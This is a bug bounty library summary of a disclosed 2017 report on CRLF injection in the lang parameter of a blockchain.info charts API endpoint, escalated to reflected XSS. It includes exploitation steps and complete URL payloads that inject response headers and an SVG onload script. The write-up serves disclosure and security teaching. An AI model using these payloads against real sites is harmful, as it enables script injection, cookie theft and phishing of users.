# CRLF injection in blockchain.info

The lang parameter on api2.blockchain.info charts endpoint was reflected into the content-language response header, allowing CRLF injection and response splitting into XSS.

- Payout: $1,600
- Severity: medium
- Program: Blockchain.info
- Found by: Shashank (@cyberboyIndia)
- Disclosed: 2017-11-05
- Write-up quality: 6/10
- Original: http://blog.shashank.co/2017/11/crlf-injection-in-bockchaininfo.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-shashank-co-2017-11-crlf-injection-in-bockchaininfo-html
- Tags: area:web domain:web impact:ato impact:integrity kind:bounty platform:blog sev:medium technique:recon vuln:crlf-injection vuln:xss

**Target:** api2.blockchain.info charts endpoint (lang query parameter)
**Root cause:** The lang query parameter is reflected unsanitized into the content-language response header, so encoded CRLF sequences split the response and inject arbitrary headers/body.
**Steps:**
1. Request `https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=english` and observe `content-language: english` in the response.
2. Inject encoded CRLF: `https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST` and confirm a new `TEST` header appears.
3. Send full payload `...&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E` to inject an HTML body with script.
**How found:** While browsing the site, the researcher found the chart download endpoint with a lang parameter, changed lang=en to lang=english, and noticed the value reflected in the content-language response header, then tested CRLF injection.
**Exploitation:** Attacker crafts a URL whose lang parameter injects CRLF plus Content-Type: text/html and a body containing an SVG onload script; a victim visiting the link executes attacker JavaScript in the api2.blockchain.info origin, enabling cookie theft or a framed phishing page.
**Insight:** Chart/export endpoints with format and lang parameters often reflect locale values into response headers like content-language or content-disposition; test those params for CRLF response splitting rather than only body reflection.

## Proof of concept (copied exactly from the original report)

**CRLF injection test with lang parameter**

```
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
A new header was found in the response as TEST
```

**XSS payload via CRLF header injection**

```
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI
```

